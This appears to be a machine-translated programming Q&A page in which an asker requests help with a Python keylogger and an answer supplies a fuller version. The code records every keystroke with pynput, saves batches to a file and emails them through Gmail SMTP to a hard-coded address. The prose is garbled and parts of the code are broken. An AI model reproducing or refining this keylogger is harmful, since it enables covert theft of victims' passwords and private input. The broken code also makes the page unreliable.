2017-06-20 98 views
-2
from pynput import keyboard 
import smtplib 


events = [] 

def on_press(key): 
    try: 
     ('{0}'.format(key.char)) 
     events.append(key) 
     print(events) 


except AttributeError : 
    print('{0}'.format(key)) 





def on_handling(): 
    global events 
    if len(events) == 1: 
      on_send() 
    else: 
      on_press() 





def on_send(): 
server = 'smtp.gmail.com' 
port = 587 
smtp = smtplib.SMTP(server,port) 
smtp.ehlo() 
smtp.starttls() 
smtp.login("[email protected]","ihacktheworld2017") 
smtp.sendmail("[email protected]","[email protected]",events) 
smtp.close() 
events = [] 

with keyboard.Listener(on_press = on_press) as listener: 
listener.join() 


on_handling() 

1.本與pynput庫 我想去寫所有事件到一個列表或者一個文件一個鍵盤記錄 3.當達到信件具體LEN其發送到郵件 問題是與organzing的代碼,並與該事件= []變量鍵盤記錄python3與SMTP feauture

回答

0

這是我最好的efford

from pynput import keyboard 
import smtplib 
import base64 
import os 

events = [] 
FROM = [email protected]' 
MARKER = 'KEY' 
TO = [email protected]' 

def on_press(key): 
    global keylogger 
    keylogger = 'keylogger.txt' 
    try: 
     # ('{0}'.format(key.char)) 
     events.append(key) 
     print(events) 
    except AttributeError: 
     print('{0}'.format(key)) 
    if len(events) == 20: 
     file = open(keylogger, 'w') 
     for i in events: 
      file.write(str(i)) 
     file.close() 
     on_send(keylogger) 




def on_handling(): 
    global events 
    if len(events) == 1: 
      on_send() 
    else: 
      on_press() 





def on_send(filename): 
    fo = open(filename, "rb") 
    filecontent = fo.read() 
    # encodedcontent = base64.b64encode(filecontent 
    encodedcontent = filecontent 
    filename = os.path.basename(filename) 

    body = """ 
    This is the key, check it. 
    """ 

    # Define the main headers. 
    part1 = """From: Matt Vincent <[email protected]> 
    To: %s 
    Subject: Sending Attachment 
    MIME-Version: 1.0 
    Content-Type: multipart/mixed; boundary=%s 
    --%s 
    """ % (TO, MARKER, MARKER) 

    # Define the message action 
    part2 = """Content-Type: text/plain 
    Content-Transfer-Encoding:8bit 

    %s 
    --%s 
    """ % (body, MARKER) 

    # Define the attachment section 
    part3 = """Content-Type: multipart/mixed; name=\"%s\" 
    Content-Transfer-Encoding:base64 
    Content-Disposition: attachment; filename=%s 

    %s 
    --%s-- 
    """ % (filename, filename, encodedcontent, MARKER) 

    message = part1 + part2 + part3 

    server = 'smtp.gmail.com' 
    port = 587 
    smtp = smtplib.SMTP(server,port) 
    smtp.ehlo() 
    smtp.starttls() 
    smtp.login(FROM, "password") 
    smtp.sendmail(FROM, TO, message) 
    smtp.close() 

with keyboard.Listener(on_press = on_press) as listener: 
listener.join() 


on_handling()